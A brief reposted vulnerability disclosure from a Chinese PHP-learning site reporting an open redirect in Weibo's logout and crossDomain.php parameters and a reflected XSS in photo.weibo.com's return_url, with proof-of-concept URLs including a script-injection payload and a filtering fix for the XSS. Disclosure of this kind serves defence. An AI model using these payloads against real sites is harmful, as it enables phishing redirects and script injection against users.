来源：自学PHP网 时间：2015-04-17 13:03 作者： 阅读:次
[导读] 1.退出那,跳转地址可以改。漏洞证明：http://weibo.com/logout.php?backurl=// www.2cto.comhttp://weibo.cn/dpool/ttt/crossDomain.php?u=http:// www.2cto.com修复方案：无2.xssreturn_url的值没有作限制.ht......
|
1.退出那,跳转地址可以改。
漏洞证明：http://weibo.com/logout.php?backurl=// www.2cto.com http://weibo.cn/dpool/ttt/crossDomain.php?u=http:// www.2cto.com 修复方案：无 2.xss return_url的值没有作限制. http://photo.weibo.com/1930831457/albums/index/view_album_id/3407197837952313?return_url="><script>alert('XSS')</script><!--  修复方案： 对return_url的值进行过滤 作者QQ852451559 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
